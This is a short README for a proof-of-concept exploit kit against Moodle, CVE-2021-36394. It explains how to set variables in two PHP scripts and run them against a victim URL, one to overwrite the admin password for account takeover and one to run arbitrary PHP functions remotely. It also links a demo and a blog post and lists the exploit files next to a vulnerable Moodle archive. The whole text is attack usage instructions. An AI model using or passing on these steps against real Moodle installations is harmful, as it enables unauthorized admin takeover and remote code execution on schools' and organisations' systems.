# CVE-2021-36394
## Update table or Change password Admin:
Custom Code
`
$newpassword = "Accounttakedover123";
`
Then Execute:
`
$ CVE2021-36394.php http://victim/path_to_moodle
`
## Execute function
Custom Code
`$function = "header";
$param = "Hacked: by0d0ff9";
`
Then Execute:
`
$ CVE2021-36394_RCE.php http://victim/path_to_moodle
`
### Demo: https://www.youtube.com/watch?v=rn4ENyASWe8
### Blog: https://0xd0ff9.wordpress.com/2021/08/28/cve-2021-36394-hack-truong-sua-diem-cac-kieu/
[4.0K] /data/pocs/6c25db07e20087a3b03a06fc1d0ee1354c17629c
├── [4.1K] CVE2021-36394.php
├── [2.9K] CVE2021-36394_RCE.php
├── [ 55M] moodle-3.9.7.tgz
└── [ 498] README.md
0 directories, 4 files